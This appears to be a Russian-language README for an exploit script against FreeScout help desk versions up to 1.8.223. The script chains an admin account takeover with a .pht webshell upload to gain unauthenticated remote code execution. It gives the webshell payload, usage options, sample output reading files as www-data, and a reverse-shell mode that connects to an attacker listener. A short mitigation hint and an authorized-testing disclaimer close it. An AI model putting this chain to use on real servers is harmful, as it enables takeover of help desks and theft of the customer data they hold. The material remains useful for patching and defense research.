
Неаутентифицированное удалённое выполнение кода в FreeScout ≤ 1.8.223 (help desk на Laravel) путём связывания двух уязвимостей, обе исправлены в 1.8.224:
POST /user-setup/{hash}/{invite_sent_at} выбирает учётную запись только по столбцу invite_hash. У активированного пользователя invite_hash = '', а в MySQL/MariaDB сравнение VARCHAR игнорирует конечные пробелы, поэтому hash = %20 соответствует администратору. Проверка срока действия invite_sent_at расшифровывает значение, используя пароль пользователя как ключ, но вспомогательная функция расшифровки возвращает исходные данные при сбое (пустой блок catch), поэтому принимается обычная текущая unix-метка времени. Затем конечная точка перезаписывает email и пароль учётной записи и выполняет вход..pht. Список запрещённых расширений (php.*|sh|pl|phtml|phar) не покрывает .pht, которые Apache mod_php выполняет как PHP.Связав их, неаутентифицированный злоумышленник получает возможность выполнения кода от имени пользователя веб-сервера (www-data).
GET /user-setup/%20/<unix_ts> для получения cookie сессии и CSRF-токена.POST на тот же URL, чтобы перезаписать email/пароль администратора и войти (ATO).POST /uploads/upload файла shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; в 1.8.224+ обе ошибки исправлены (302 означает неудачный захват)..pht зависит от того, обрабатывает ли сервер .pht через mod_php — «стандартное окружение Apache + libapache2-mod-php», на которое нацелена CVE.system() выполняется через /bin/sh (dash в Debian/Ubuntu), который не понимает перенаправление >& /dev/tcp/..., доступное только в bash; base64 также позволяет избежать всех проблем с экранированием кавычек.! — ! запускает подстановку из истории в интерактивных bash/zsh и ломает вставляемые команды.VARCHAR для токенов безопасности (коллизии из-за конечных пробелов) и не считайте неудачную расшифровку валидным значением — отклоняйте пустые/некорректные токены.Только для авторизованного тестирования безопасности и образовательных целей. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.